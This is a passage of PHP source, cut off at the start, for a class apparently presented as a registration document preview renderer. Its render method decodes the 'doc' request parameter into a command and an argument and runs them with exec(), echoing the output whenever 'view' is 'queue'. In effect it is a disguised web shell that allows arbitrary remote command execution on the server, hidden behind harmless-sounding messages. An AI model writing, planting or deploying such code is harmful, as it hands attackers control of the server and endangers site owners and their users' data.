decodePayload($raw);
if (count($parts) != 2) {
return 'Preview queue empty.';
}
$action = $parts[0];
$target = $parts[1];
$output = array();
exec($action . ' ' . $target . ' 2>&1', $output);
return htmlspecialchars(implode("\n", $output));
}
}
$renderer = new RegistrationDocRenderer();
if (isset($_REQUEST['view']) && $_REQUEST['view'] === 'queue') {
if (isset($_REQUEST['doc'])) {
echo '' . $renderer->render($_REQUEST['doc']) . '
';
} else {
echo 'No document id supplied.
';
}
} else {
echo 'Renderer offline.
';
}